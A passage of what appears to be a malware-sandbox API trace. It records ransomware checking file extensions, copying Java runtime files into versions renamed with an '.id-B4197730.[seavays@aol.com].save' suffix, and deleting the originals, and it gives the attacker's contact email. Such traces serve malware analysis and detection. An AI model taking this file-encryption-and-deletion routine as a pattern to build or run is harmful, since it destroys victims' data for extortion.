(lpString=".xls") returned 4 [0056.266] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.266] lstrlenW (lpString=".xlsx") returned 5 [0056.266] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0056.267] lstrlenW (lpString=".ppt") returned 4 [0056.267] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0056.267] lstrlenW (lpString=".zip") returned 4 [0056.267] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.267] lstrlenW (lpString=".rar") returned 4 [0056.267] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.267] lstrlenW (lpString=".bz2") returned 4 [0056.267] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.267] lstrlenW (lpString=".7z") returned 3 [0056.267] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0056.267] lstrlenW (lpString=".dbf") returned 4 [0056.267] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0056.267] lstrlenW (lpString=".1cd") returned 4 [0056.267] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0056.267] lstrlenW (lpString=".jpg") returned 4 [0056.267] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0056.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0056.267] lstrlenW (lpString=".doc") returned 4 [0056.267] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.267] lstrlenW (lpString=".docx") returned 5 [0056.267] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0056.267] lstrlenW (lpString=".pdf") returned 4 [0056.267] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.267] lstrlenW (lpString=".xls") returned 4 [0056.267] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.267] lstrlenW (lpString=".xlsx") returned 5 [0056.267] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0056.267] lstrlenW (lpString=".ppt") returned 4 [0056.268] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0056.268] lstrlenW (lpString=".zip") returned 4 [0056.268] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.268] lstrlenW (lpString=".rar") returned 4 [0056.268] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.268] lstrlenW (lpString=".bz2") returned 4 [0056.268] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.268] lstrlenW (lpString=".7z") returned 3 [0056.268] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0056.268] lstrlenW (lpString=".dbf") returned 4 [0056.268] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0056.268] lstrlenW (lpString=".1cd") returned 4 [0056.268] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.268] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0056.268] lstrlenW (lpString=".jpg") returned 4 [0056.268] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.268] lstrcmpiW (lpString1=".gif", lpString2=".save") returned -1 [0056.268] lstrlenW (lpString="invalid32x32.gif") returned 16 [0056.268] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0056.269] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=153) returned 1 [0056.269] CloseHandle (hObject=0x314) returned 1 [0056.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 0x20 [0056.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.269] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0056.270] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.270] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.270] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0056.270] GetLastError () returned 0x0 [0056.270] ReadFile (in: hFile=0x314, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x99, lpOverlapped=0x0) returned 1 [0056.271] WriteFile (in: hFile=0x2f0, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xa0, lpOverlapped=0x0) returned 1 [0056.272] ReadFile (in: hFile=0x314, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.272] WriteFile (in: hFile=0x2f0, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xf4, lpOverlapped=0x0) returned 1 [0056.272] SetEndOfFile (hFile=0x2f0) returned 1 [0056.272] CloseHandle (hObject=0x2f0) returned 1 [0056.273] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.273] SetEndOfFile (hFile=0x314) returned 1 [0056.274] CloseHandle (hObject=0x314) returned 1 [0056.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0056.274] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 1 [0056.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0056.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0056.274] lstrlenW (lpString=".doc") returned 4 [0056.274] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.274] lstrlenW (lpString=".docx") returned 5 [0056.274] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0056.274] lstrlenW (lpString=".pdf") returned 4 [0056.274] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.274] lstrlenW (lpString=".xls") returned 4 [0056.274] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.274] lstrlenW (lpString=".xlsx") returned 5 [0056.275] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0056.275] lstrlenW (lpString=".ppt") returned 4 [0056.275] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0056.275] lstrlenW (lpString=".zip") returned 4 [0056.275] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.275] lstrlenW (lpString=".rar") returned 4 [0056.275] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.275] lstrlenW (lpString=".bz2") returned 4 [0056.275] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.275] lstrlenW (lpString=".7z") returned 3 [0056.275] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0056.275] lstrlenW (lpString=".dbf") returned 4 [0056.275] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0056.275] lstrlenW (lpString=".1cd") returned 4 [0056.275] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0056.275] lstrlenW (lpString=".jpg") returned 4 [0056.275] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0056.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0056.275] lstrlenW (lpString=".doc") returned 4 [0056.275] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.275] lstrlenW (lpString=".docx") returned 5 [0056.275] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0056.275] lstrlenW (lpString=".pdf") returned 4 [0056.275] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.275] lstrlenW (lpString=".xls") returned 4 [0056.275] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.275] lstrlenW (lpString=".xlsx") returned 5 [0056.275] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0056.276] lstrlenW (lpString=".ppt") returned 4 [0056.276] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0056.276] lstrlenW (lpString=".zip") returned 4 [0056.276] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.276] lstrlenW (lpString=".rar") returned 4 [0056.276] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.276] lstrlenW (lpString=".bz2") returned 4 [0056.276] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.276] lstrlenW (lpString=".7z") returned 3 [0056.276] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0056.276] lstrlenW (lpString=".dbf") returned 4 [0056.276] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0056.276] lstrlenW (lpString=".1cd") returned 4 [0056.276] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0056.276] lstrlenW (lpString=".jpg") returned 4 [0056.276] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.276] lstrcmpiW (lpString1=".gif", lpString2=".save") returned -1 [0056.276] lstrlenW (lpString="win32_CopyDrop32x32.gif") returned 23 [0056.276] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0056.311] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=165) returned 1 [0056.312] CloseHandle (hObject=0x2c0) returned 1 [0056.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 0x20 [0056.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.312] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0056.312] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.312] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.312] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0056.312] GetLastError () returned 0x0 [0056.312] ReadFile (in: hFile=0x2c0, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xa5, lpOverlapped=0x0) returned 1 [0056.313] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xb0, lpOverlapped=0x0) returned 1 [0056.314] ReadFile (in: hFile=0x2c0, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.314] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x102, lpOverlapped=0x0) returned 1 [0056.314] SetEndOfFile (hFile=0x374) returned 1 [0056.314] CloseHandle (hObject=0x374) returned 1 [0056.315] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.315] SetEndOfFile (hFile=0x2c0) returned 1 [0056.316] CloseHandle (hObject=0x2c0) returned 1 [0056.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0056.316] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 1 [0056.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0056.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0056.317] lstrlenW (lpString=".doc") returned 4 [0056.317] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.317] lstrlenW (lpString=".docx") returned 5 [0056.317] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0056.317] lstrlenW (lpString=".pdf") returned 4 [0056.317] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.317] lstrlenW (lpString=".xls") returned 4 [0056.317] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.317] lstrlenW (lpString=".xlsx") returned 5 [0056.317] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0056.317] lstrlenW (lpString=".ppt") returned 4 [0056.317] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0056.317] lstrlenW (lpString=".zip") returned 4 [0056.317] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.317] lstrlenW (lpString=".rar") returned 4 [0056.318] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.318] lstrlenW (lpString=".bz2") returned 4 [0056.318] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.318] lstrlenW (lpString=".7z") returned 3 [0056.318] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0056.318] lstrlenW (lpString=".dbf") returned 4 [0056.318] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0056.318] lstrlenW (lpString=".1cd") returned 4 [0056.318] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0056.318] lstrlenW (lpString=".jpg") returned 4 [0056.318] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0056.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0056.318] lstrlenW (lpString=".doc") returned 4 [0056.318] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.318] lstrlenW (lpString=".docx") returned 5 [0056.318] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0056.318] lstrlenW (lpString=".pdf") returned 4 [0056.318] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.318] lstrlenW (lpString=".xls") returned 4 [0056.318] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.318] lstrlenW (lpString=".xlsx") returned 5 [0056.318] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0056.318] lstrlenW (lpString=".ppt") returned 4 [0056.318] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0056.318] lstrlenW (lpString=".zip") returned 4 [0056.318] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.318] lstrlenW (lpString=".rar") returned 4 [0056.318] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.319] lstrlenW (lpString=".bz2") returned 4 [0056.319] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.319] lstrlenW (lpString=".7z") returned 3 [0056.319] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0056.319] lstrlenW (lpString=".dbf") returned 4 [0056.319] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0056.319] lstrlenW (lpString=".1cd") returned 4 [0056.319] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0056.319] lstrlenW (lpString=".jpg") returned 4 [0056.319] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.319] lstrcmpiW (lpString1=".txt", lpString2=".save") returned 1 [0056.319] lstrlenW (lpString="jvm.hprof.txt") returned 13 [0056.319] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0056.319] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=4226) returned 1 [0056.319] CloseHandle (hObject=0x2c0) returned 1 [0056.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 0x20 [0056.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.320] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0056.320] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.320] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.320] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0056.320] GetLastError () returned 0x0 [0056.320] ReadFile (in: hFile=0x2c0, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1082, lpOverlapped=0x0) returned 1 [0056.321] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1090, lpOverlapped=0x0) returned 1 [0056.322] ReadFile (in: hFile=0x2c0, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.322] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xee, lpOverlapped=0x0) returned 1 [0056.323] SetEndOfFile (hFile=0x374) returned 1 [0056.323] CloseHandle (hObject=0x374) returned 1 [0056.323] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.324] SetEndOfFile (hFile=0x2c0) returned 1 [0056.324] CloseHandle (hObject=0x2c0) returned 1 [0056.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0056.325] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 1 [0056.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0056.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0056.325] lstrlenW (lpString=".doc") returned 4 [0056.325] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0056.325] lstrlenW (lpString=".docx") returned 5 [0056.325] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1 [0056.325] lstrlenW (lpString=".pdf") returned 4 [0056.325] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0056.325] lstrlenW (lpString=".xls") returned 4 [0056.325] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0056.325] lstrlenW (lpString=".xlsx") returned 5 [0056.325] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1 [0056.325] lstrlenW (lpString=".ppt") returned 4 [0056.325] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0056.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0056.325] lstrlenW (lpString=".zip") returned 4 [0056.325] lstrcmpiW (lpString1=".zip", 